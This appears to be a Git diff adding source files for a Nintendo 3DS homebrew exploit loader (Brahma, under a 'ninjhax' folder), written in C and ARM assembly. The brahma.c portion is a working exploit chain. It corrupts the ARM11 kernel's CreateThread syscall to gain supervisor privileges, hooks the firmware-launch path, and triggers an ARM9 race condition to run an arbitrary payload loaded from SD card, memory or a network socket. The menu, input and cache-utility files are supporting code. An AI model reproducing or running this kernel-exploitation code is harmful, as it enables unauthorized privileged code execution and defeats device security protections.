||||||
|
// restore heap
|
||||||
|
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
|
||||||
|
|
||||||
|
linearFree(saved_heap);
|
||||||
|
linearFree(cstm_heap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// trick to clear icache
|
||||||
|
void user_clear_icache (void) {
|
||||||
|
s32 i, result = 0;
|
||||||
|
s32 (*nop_func)(void);
|
||||||
|
const u32 size_nopslide = 0x1000;
|
||||||
|
u32 *nop_slide = memalign(0x1000, size_nopslide);
|
||||||
|
|
||||||
|
if (nop_slide) {
|
||||||
|
HB_ReprotectMemory(nop_slide, 4, 7, &result);
|
||||||
|
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
|
||||||
|
nop_slide[i] = ARM_NOP;
|
||||||
|
}
|
||||||
|
nop_slide[i-1] = ARM_RET;
|
||||||
|
nop_func = nop_slide;
|
||||||
|
HB_FlushInvalidateCache();
|
||||||
|
|
||||||
|
nop_func();
|
||||||
|
free(nop_slide);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* get system dependent data and set up ARM11 structures */
|
||||||
|
s32 setup_exploit_data (void) {
|
||||||
|
s32 result = 0;
|
||||||
|
|
||||||
|
if (get_exploit_data(&g_expdata)) {
|
||||||
|
/* copy data required by code running in ARM11 svc mode */
|
||||||
|
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
|
||||||
|
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
|
||||||
|
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
|
||||||
|
result = 1;
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Corrupts ARM11 kernel code (CreateThread()) in order to
|
||||||
|
open a door for code execution with ARM11 SVC privileges. */
|
||||||
|
s32 corrupt_svcCreateThread (void) {
|
||||||
|
s32 result = 0;
|
||||||
|
|
||||||
|
priv_write_four(g_expdata.va_patch_createthread);
|
||||||
|
user_clear_icache();
|
||||||
|
result = 1;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* TODO: network code might be moved somewhere else */
|
||||||
|
s32 recv_arm9_payload (void) {
|
||||||
|
s32 sockfd;
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
s32 ret;
|
||||||
|
u32 kDown, old_kDown;
|
||||||
|
s32 clientfd;
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
s32 addrlen = sizeof(client_addr);
|
||||||
|
s32 sflags = 0;
|
||||||
|
|
||||||
|
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||||
|
printf("[!] Error: socket()\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bzero(&sa, sizeof(sa));
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
||||||
|
sa.sin_addr.s_addr = gethostid();
|
||||||
|
|
||||||
|
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
|
printf("[!] Error: bind()\n");
|
||||||
|
close(sockfd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(sockfd, 1) != 0) {
|
||||||
|
printf("[!] Error: listen()\n");
|
||||||
|
close(sockfd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
|
||||||
|
|
||||||
|
g_ext_arm9_size = 0;
|
||||||
|
g_ext_arm9_loaded = 0;
|
||||||
|
|
||||||
|
sflags = fcntl(sockfd, F_GETFL);
|
||||||
|
if (sflags == -1) {
|
||||||
|
printf("[!] Error: fcntl() (1)\n");
|
||||||
|
close(sockfd);
|
||||||
|
}
|
||||||
|
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
|
||||||
|
|
||||||
|
hidScanInput();
|
||||||
|
old_kDown = hidKeysDown();
|
||||||
|
while (1) {
|
||||||
|
hidScanInput();
|
||||||
|
kDown = hidKeysDown();
|
||||||
|
if (kDown != old_kDown) {
|
||||||
|
printf("[!] Aborted\n");
|
||||||
|
close(sockfd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
|
||||||
|
svcSleepThread(100000000);
|
||||||
|
if (clientfd > 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
|
||||||
|
ntohs(client_addr.sin_port));
|
||||||
|
|
||||||
|
s32 recvd;
|
||||||
|
u32 total = 0;
|
||||||
|
s32 overflow = 0;
|
||||||
|
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
|
||||||
|
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
|
||||||
|
if (recvd != -1) {
|
||||||
|
total += recvd;
|
||||||
|
printf(".");
|
||||||
|
}
|
||||||
|
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
|
||||||
|
overflow = 1;
|
||||||
|
printf("[!] Error: invalid payload size\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
||||||
|
|
||||||
|
printf("\n\n[x] Received %d bytes in total\n", total);
|
||||||
|
g_ext_arm9_size = overflow ? 0 : total;
|
||||||
|
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
||||||
|
|
||||||
|
close(clientfd);
|
||||||
|
close(sockfd);
|
||||||
|
|
||||||
|
return g_ext_arm9_loaded;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* reads ARM9 payload from a given path.
|
||||||
|
filename: full path of payload
|
||||||
|
returns: 0 on failure, 1 on success */
|
||||||
|
s32 load_arm9_payload (char *filename) {
|
||||||
|
s32 result = 0;
|
||||||
|
u32 fsize = 0;
|
||||||
|
|
||||||
|
if (!filename)
|
||||||
|
return result;
|
||||||
|
|
||||||
|
FILE *f = fopen(filename, "rb");
|
||||||
|
if (f) {
|
||||||
|
fseek(f , 0, SEEK_END);
|
||||||
|
fsize = ftell(f);
|
||||||
|
g_ext_arm9_size = fsize;
|
||||||
|
rewind(f);
|
||||||
|
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||||
|
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f);
|
||||||
|
result = (g_ext_arm9_loaded = (bytes_read == fsize));
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* reads ARM9 payload from memory.
|
||||||
|
data: array of u8 containing the payload
|
||||||
|
dsize: size of the data array
|
||||||
|
returns: 0 on failure, 1 on success */
|
||||||
|
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
||||||
|
s32 result = 0;
|
||||||
|
|
||||||
|
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||||
|
g_ext_arm9_size = dsize;
|
||||||
|
memcpy(g_ext_arm9_buf, data, dsize);
|
||||||
|
result = g_ext_arm9_loaded = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* copies ARM9 payload to FCRAM
|
||||||
|
- before overwriting it in memory, Brahma creates a backup copy of
|
||||||
|
the mapped firm binary's ARM9 entry point. The copy will be stored
|
||||||
|
into offset 4 of the ARM9 payload during run-time.
|
||||||
|
This allows the ARM9 payload to resume booting the Nintendo firmware
|
||||||
|
code.
|
||||||
|
Thus, the format of ARM9 payload written for Brahma is the following:
|
||||||
|
- a branch instruction at offset 0 and
|
||||||
|
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
||||||
|
s32 map_arm9_payload (void) {
|
||||||
|
void *src;
|
||||||
|
volatile void *dst;
|
||||||
|
|
||||||
|
u32 size = 0;
|
||||||
|
s32 result = 0;
|
||||||
|
|
||||||
|
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
||||||
|
|
||||||
|
if (!g_ext_arm9_loaded) {
|
||||||
|
// defaul ARM9 payload
|
||||||
|
src = &arm9_start;
|
||||||
|
size = (u8 *)&arm9_end - (u8 *)&arm9_start;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// external ARM9 payload
|
||||||
|
src = g_ext_arm9_buf;
|
||||||
|
size = g_ext_arm9_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||||
|
memcpy(dst, src, size);
|
||||||
|
result = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 map_arm11_payload (void) {
|
||||||
|
void *src;
|
||||||
|
volatile void *dst;
|
||||||
|
u32 size = 0;
|
||||||
|
u32 offs;
|
||||||
|
s32 result_a = 0;
|
||||||
|
s32 result_b = 0;
|
||||||
|
|
||||||
|
src = &arm11_start;
|
||||||
|
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
|
||||||
|
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
|
||||||
|
|
||||||
|
// TODO: sanitize 'size'
|
||||||
|
if (size) {
|
||||||
|
memcpy(dst, src, size);
|
||||||
|
result_a = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
offs = size;
|
||||||
|
src = &g_arm11shared;
|
||||||
|
size = sizeof(g_arm11shared);
|
||||||
|
|
||||||
|
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
|
||||||
|
OFFS_EXC_HANDLER_UNUSED + offs);
|
||||||
|
|
||||||
|
// TODO sanitize 'size'
|
||||||
|
if (result_a && size) {
|
||||||
|
memcpy(dst, src, size);
|
||||||
|
result_b = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result_a && result_b;
|
||||||
|
}
|
||||||
|
|
||||||
|
void exploit_arm9_race_condition (void) {
|
||||||
|
|
||||||
|
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
|
||||||
|
(void *)g_expdata.va_kernelsetstate;
|
||||||
|
|
||||||
|
asm volatile ("clrex");
|
||||||
|
|
||||||
|
/* copy ARM11 payload and console specific data */
|
||||||
|
if (map_arm11_payload() &&
|
||||||
|
/* copy ARM9 payload to FCRAM */
|
||||||
|
map_arm9_payload()) {
|
||||||
|
|
||||||
|
/* patch ARM11 kernel to force it to execute
|
||||||
|
our code (hook1 and hook2) as soon as a
|
||||||
|
"firmlaunch" is triggered */
|
||||||
|
redirect_codeflow(g_expdata.va_exc_handler_base_X +
|
||||||
|
OFFS_EXC_HANDLER_UNUSED,
|
||||||
|
g_expdata.va_patch_hook1);
|
||||||
|
|
||||||
|
redirect_codeflow(PA_EXC_HANDLER_BASE +
|
||||||
|
OFFS_EXC_HANDLER_UNUSED + 4,
|
||||||
|
g_expdata.va_patch_hook2);
|
||||||
|
|
||||||
|
CleanEntireDataCache();
|
||||||
|
InvalidateEntireInstructionCache();
|
||||||
|
|
||||||
|
// trigger ARM9 code execution through "firmlaunch"
|
||||||
|
_KernelSetState(0, 0, 2, 0);
|
||||||
|
// prev call shouldn't ever return
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* - restores corrupted code of CreateThread() syscall */
|
||||||
|
void repair_svcCreateThread (void) {
|
||||||
|
asm volatile ("clrex");
|
||||||
|
|
||||||
|
CleanEntireDataCache();
|
||||||
|
InvalidateEntireInstructionCache();
|
||||||
|
|
||||||
|
// repair CreateThread()
|
||||||
|
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
|
||||||
|
|
||||||
|
CleanEntireDataCache();
|
||||||
|
InvalidateEntireInstructionCache();
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* restore svcCreateThread code (not really required,
|
||||||
|
but just to be on the safe side) */
|
||||||
|
s32 __attribute__((naked))
|
||||||
|
priv_firm_reboot (void) {
|
||||||
|
asm volatile ("add sp, sp, #8\t\n");
|
||||||
|
|
||||||
|
repair_svcCreateThread();
|
||||||
|
exploit_arm9_race_condition();
|
||||||
|
|
||||||
|
asm volatile ("movs r0, #0\t\n"
|
||||||
|
"ldr pc, [sp], #4\t\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* perform firmlaunch. load ARM9 payload before calling this
|
||||||
|
function. otherwise, calling this function simply reboots
|
||||||
|
the handheld */
|
||||||
|
s32 firm_reboot (void) {
|
||||||
|
s32 fail_stage = 0;
|
||||||
|
|
||||||
|
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
||||||
|
if (setup_exploit_data()) {
|
||||||
|
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
||||||
|
if (corrupt_svcCreateThread()) {
|
||||||
|
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
||||||
|
svcCorruptedCreateThread(priv_firm_reboot);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* we do not intend to return ... */
|
||||||
|
return fail_stage;
|
||||||
|
}
|
27
ninjhax/source/hid.c
Normal file
27
ninjhax/source/hid.c
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
|
||||||
|
/* loop until key is pressed */
|
||||||
|
u32 wait_key (void) {
|
||||||
|
hidScanInput();
|
||||||
|
u32 old_kDown, kDown;
|
||||||
|
old_kDown = hidKeysDown();
|
||||||
|
|
||||||
|
while (aptMainLoop()) {
|
||||||
|
gspWaitForVBlank();
|
||||||
|
|
||||||
|
hidScanInput();
|
||||||
|
kDown = hidKeysDown();
|
||||||
|
if (kDown != old_kDown)
|
||||||
|
break;
|
||||||
|
|
||||||
|
gfxFlushBuffers();
|
||||||
|
gfxSwapBuffers();
|
||||||
|
}
|
||||||
|
return kDown;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* convenience function */
|
||||||
|
void wait_any_key (void) {
|
||||||
|
printf("\n\nPress key to continue\n");
|
||||||
|
wait_key();
|
||||||
|
}
|
58
ninjhax/source/main.c
Normal file
58
ninjhax/source/main.c
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include "brahma.h"
|
||||||
|
#include "hid.h"
|
||||||
|
#include "menus.h"
|
||||||
|
#include "sochlp.h"
|
||||||
|
#include "payload_bin.h"
|
||||||
|
|
||||||
|
s32 quick_boot_firm (s32 load_from_disk) {
|
||||||
|
if (load_from_disk)
|
||||||
|
load_arm9_payload_from_mem(payload_bin, payload_bin_size);
|
||||||
|
firm_reboot();
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 main (void) {
|
||||||
|
// Initialize services
|
||||||
|
srvInit();
|
||||||
|
aptInit();
|
||||||
|
hidInit(NULL);
|
||||||
|
gfxInitDefault();
|
||||||
|
fsInit();
|
||||||
|
sdmcInit();
|
||||||
|
hbInit();
|
||||||
|
qtmInit();
|
||||||
|
|
||||||
|
Handle fileHandle;
|
||||||
|
u32 bytesRead;
|
||||||
|
FS_archive sdmcArchive=(FS_archive){ARCH_SDMC, (FS_path){PATH_EMPTY, 1, (u8*)""}};
|
||||||
|
FS_path filePath=FS_makePath(PATH_CHAR, "/reiNand.dat");
|
||||||
|
Result ret=FSUSER_OpenFileDirectly(NULL, &fileHandle, sdmcArchive, filePath, FS_OPEN_READ, FS_ATTRIBUTE_NONE);
|
||||||
|
if(ret) goto EXIT;
|
||||||
|
FSFILE_Read(fileHandle, &bytesRead, 0x20000, 0x14400000, 320*1024);
|
||||||
|
FSFILE_Close(fileHandle);
|
||||||
|
|
||||||
|
consoleInit(GFX_BOTTOM, NULL);
|
||||||
|
if (brahma_init()) {
|
||||||
|
quick_boot_firm(1);
|
||||||
|
printf("[!] Quickload failed\n");
|
||||||
|
brahma_exit();
|
||||||
|
|
||||||
|
} else {
|
||||||
|
printf("* BRAHMA *\n\n[!]Not enough memory\n");
|
||||||
|
wait_any_key();
|
||||||
|
}
|
||||||
|
EXIT:
|
||||||
|
hbExit();
|
||||||
|
sdmcExit();
|
||||||
|
fsExit();
|
||||||
|
gfxExit();
|
||||||
|
hidExit();
|
||||||
|
aptExit();
|
||||||
|
srvExit();
|
||||||
|
// Return to hbmenu
|
||||||
|
return 0;
|
||||||
|
}
|
171
ninjhax/source/menus.c
Normal file
171
ninjhax/source/menus.c
Normal file
@ -0,0 +1,171 @@
|
|||||||
|
#include <dirent.h>
|
||||||
|
#include <3ds.h>
|
||||||
|
#include "menus.h"
|
||||||
|
|
||||||
|
s32 print_menu (s32 idx, struct menu_t *menu) {
|
||||||
|
s32 i;
|
||||||
|
s32 newidx;
|
||||||
|
s32 count = menu_get_element_count(menu);
|
||||||
|
|
||||||
|
newidx = menu_update_index(idx, menu);
|
||||||
|
for (i=0; i<count; i++) {
|
||||||
|
if (newidx == i)
|
||||||
|
printf("[ %s ]\n", menu_get_element_name(i, menu));
|
||||||
|
else
|
||||||
|
printf(" %s \n", menu_get_element_name(i, menu));
|
||||||
|
}
|
||||||
|
return newidx;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 print_file_list (s32 idx, struct menu_t *menu) {
|
||||||
|
s32 i = 0;
|
||||||
|
s32 newidx;
|
||||||
|
DIR *dp;
|
||||||
|
struct dirent *entry;
|
||||||
|
char *filename = 0;
|
||||||
|
s32 totalfiles = 0;
|
||||||
|
s32 num_printed = 0;
|
||||||
|
|
||||||
|
consoleClear();
|
||||||
|
|
||||||
|
printf("ARM9 payload (%s):\n\n\n", BRAHMADIR);
|
||||||
|
printf("===========================\n");
|
||||||
|
|
||||||
|
s32 count = menu_get_element_count(menu);
|
||||||
|
|
||||||
|
newidx = menu_update_index(idx, menu);
|
||||||
|
if((dp = opendir(BRAHMADIR))) {
|
||||||
|
for (i=0; i<count; i++) {
|
||||||
|
if ((entry = readdir(dp)) != 0) {
|
||||||
|
filename = entry->d_name;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
filename = "---";
|
||||||
|
}
|
||||||
|
if (newidx == i)
|
||||||
|
printf("[ %s ] %s\n", menu_get_element_name(i, menu), filename);
|
||||||
|
else
|
||||||
|
printf(" %s %s\n", menu_get_element_name(i, menu), filename);
|
||||||
|
}
|
||||||
|
closedir(dp);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[!] Could not open '%s'\n", BRAHMADIR);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("===========================\n\n");
|
||||||
|
printf("A: Confirm\n");
|
||||||
|
printf("B: Back\n");
|
||||||
|
|
||||||
|
return newidx;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 print_main_menu (s32 idx, struct menu_t *menu) {
|
||||||
|
s32 newidx = 0;
|
||||||
|
consoleClear();
|
||||||
|
|
||||||
|
printf("\n* BRAHMA *\n\n\n");
|
||||||
|
printf("===========================\n");
|
||||||
|
newidx = print_menu(idx, menu);
|
||||||
|
printf("===========================\n\n");
|
||||||
|
printf("A: Confirm\n");
|
||||||
|
printf("B: Exit\n");
|
||||||
|
|
||||||
|
return newidx;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 get_filename (s32 idx, char *buf, u32 size) {
|
||||||
|
DIR *dp;
|
||||||
|
struct dirent *entry;
|
||||||
|
s32 result = 0;
|
||||||
|
s32 numfiles = 0;
|
||||||
|
|
||||||
|
if((dp = opendir(BRAHMADIR)) && buf && size) {
|
||||||
|
while((entry = readdir(dp)) != NULL) {
|
||||||
|
if (numfiles == idx) {
|
||||||
|
snprintf(buf, size-1, "%s%s", BRAHMADIR, entry->d_name);
|
||||||
|
result = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
numfiles++;
|
||||||
|
}
|
||||||
|
closedir(dp);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_cb_recv (s32 idx, void *param) {
|
||||||
|
return recv_arm9_payload();
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_cb_load(s32 idx, void *param) {
|
||||||
|
char filename[256];
|
||||||
|
s32 result = 0;
|
||||||
|
|
||||||
|
if (param) {
|
||||||
|
if (get_filename(*(u32 *)param, &filename, sizeof(filename))) {
|
||||||
|
printf("[+] Loading %s\n", filename);
|
||||||
|
result = load_arm9_payload(filename);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_cb_choose_file (s32 idx, void *param) {
|
||||||
|
s32 curidx = idx;
|
||||||
|
s32 loaded = 0;
|
||||||
|
|
||||||
|
while (aptMainLoop()) {
|
||||||
|
gspWaitForVBlank();
|
||||||
|
|
||||||
|
curidx = print_file_list(curidx, &g_file_list);
|
||||||
|
u32 kDown = wait_key();
|
||||||
|
|
||||||
|
if (kDown & KEY_B) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (kDown & KEY_A) {
|
||||||
|
consoleClear();
|
||||||
|
loaded = menu_execute_function(curidx, &g_file_list, &curidx);
|
||||||
|
printf("%s\n", loaded? "[+] Success":"[!] Failure");
|
||||||
|
wait_any_key();
|
||||||
|
if (loaded)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (kDown & KEY_UP) {
|
||||||
|
curidx--;
|
||||||
|
}
|
||||||
|
else if (kDown & KEY_DOWN) {
|
||||||
|
curidx++;
|
||||||
|
}
|
||||||
|
gfxFlushBuffers();
|
||||||
|
gfxSwapBuffers();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_cb_run (s32 idx, void *param) {
|
||||||
|
s32 fail_stage;
|
||||||
|
|
||||||
|
/* we're kinda screwed if the exploit fails
|
||||||
|
and soc has been deinitialized. not sure
|
||||||
|
whether cleaning up here improves existing
|
||||||
|
problems with using sockets either */
|
||||||
|
soc_exit();
|
||||||
|
printf("[+] Running ARM9 payload\n");
|
||||||
|
fail_stage = firm_reboot();
|
||||||
|
|
||||||
|
char *msg;
|
||||||
|
switch (fail_stage) {
|
||||||
|
case 1:
|
||||||
|
msg = "[!] ARM11 exploit failed";
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
msg = "[!] ARM9 exploit failed";
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
msg = "[!] Unexpected error";
|
||||||
|
}
|
||||||
|
printf("%s\n", msg);
|
||||||
|
return 1;
|
||||||
|
}
|
27
ninjhax/source/sochlp.c
Normal file
27
ninjhax/source/sochlp.c
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
#include "sochlp.h"
|
||||||
|
|
||||||
|
u32 soc_init (void) {
|
||||||
|
Result ret;
|
||||||
|
u32 result = 0;
|
||||||
|
|
||||||
|
SOC_buffer = (u32*)memalign(SOC_ALIGN, SOC_BUFFERSIZE);
|
||||||
|
if (SOC_buffer != 0) {
|
||||||
|
ret = SOC_Initialize(SOC_buffer, SOC_BUFFERSIZE);
|
||||||
|
if (ret == 0) {
|
||||||
|
result = 1;
|
||||||
|
} else {
|
||||||
|
free(SOC_buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 soc_exit (void) {
|
||||||
|
if (SOC_buffer) {
|
||||||
|
SOC_Shutdown();
|
||||||
|
free(SOC_buffer);
|
||||||
|
SOC_buffer = 0;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
45
ninjhax/source/textmenu.c
Normal file
45
ninjhax/source/textmenu.c
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
#include <3ds.h>
|
||||||
|
#include "textmenu.h"
|
||||||
|
|
||||||
|
s32 menu_get_element_count (struct menu_t *menu) {
|
||||||
|
s32 i = 0;
|
||||||
|
|
||||||
|
if (menu) {
|
||||||
|
i = menu->element_count;
|
||||||
|
}
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_is_valid_index (s32 idx, struct menu_t *menu) {
|
||||||
|
return (menu != 0 && (idx >= 0 && idx < menu_get_element_count(menu)));
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_update_index (s32 idx, struct menu_t *menu) {
|
||||||
|
s32 newidx = 0;
|
||||||
|
s32 count = menu_get_element_count(menu);
|
||||||
|
|
||||||
|
newidx = idx < 0 ? count - 1 : idx >= count ? 0 : idx;
|
||||||
|
|
||||||
|
return newidx;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *menu_get_element_name (s32 idx, struct menu_t *menu) {
|
||||||
|
return menu_is_valid_index(idx, menu) ? menu->element[idx].name : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu) {
|
||||||
|
return menu_is_valid_index(idx, menu) ? menu->element[idx].func : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param) {
|
||||||
|
s32 result = 0;
|
||||||
|
menu_func_t *f;
|
||||||
|
|
||||||
|
if (menu_is_valid_index(idx, menu)) {
|
||||||
|
f = menu_get_element_function(idx, menu);
|
||||||
|
if (f)
|
||||||
|
result = f(idx, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
37
ninjhax/source/utils.s
Normal file
37
ninjhax/source/utils.s
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
.arm
|
||||||
|
.align 4
|
||||||
|
.code 32
|
||||||
|
.text
|
||||||
|
|
||||||
|
.global InvalidateEntireInstructionCache
|
||||||
|
.type InvalidateEntireInstructionCache, %function
|
||||||
|
InvalidateEntireInstructionCache:
|
||||||
|
mov r0, #0
|
||||||
|
mcr p15, 0, r0, c7, c5, 0
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
.global CleanEntireDataCache
|
||||||
|
.type CleanEntireDataCache, %function
|
||||||
|
CleanEntireDataCache:
|
||||||
|
mov r0, #0
|
||||||
|
mcr p15, 0, r0, c7, c10, 0
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
.global DisableInterrupts
|
||||||
|
.type DisableInterrupts, %function
|
||||||
|
DisableInterrupts:
|
||||||
|
mrs r0, cpsr
|
||||||
|
CPSID I
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
.global EnableInterrupts
|
||||||
|
.type EnableInterrupts, %function
|
||||||
|
EnableInterrupts:
|
||||||
|
msr cpsr_cx, r0
|
||||||
|
bx lr
|
||||||
|
|
||||||
|
.global svcCorruptedCreateThread
|
||||||
|
.type svcCorruptedCreateThread, %function
|
||||||
|
svcCorruptedCreateThread:
|
||||||
|
svc 0x08
|
||||||
|
bx lr
|
Reference in New Issue
Block a user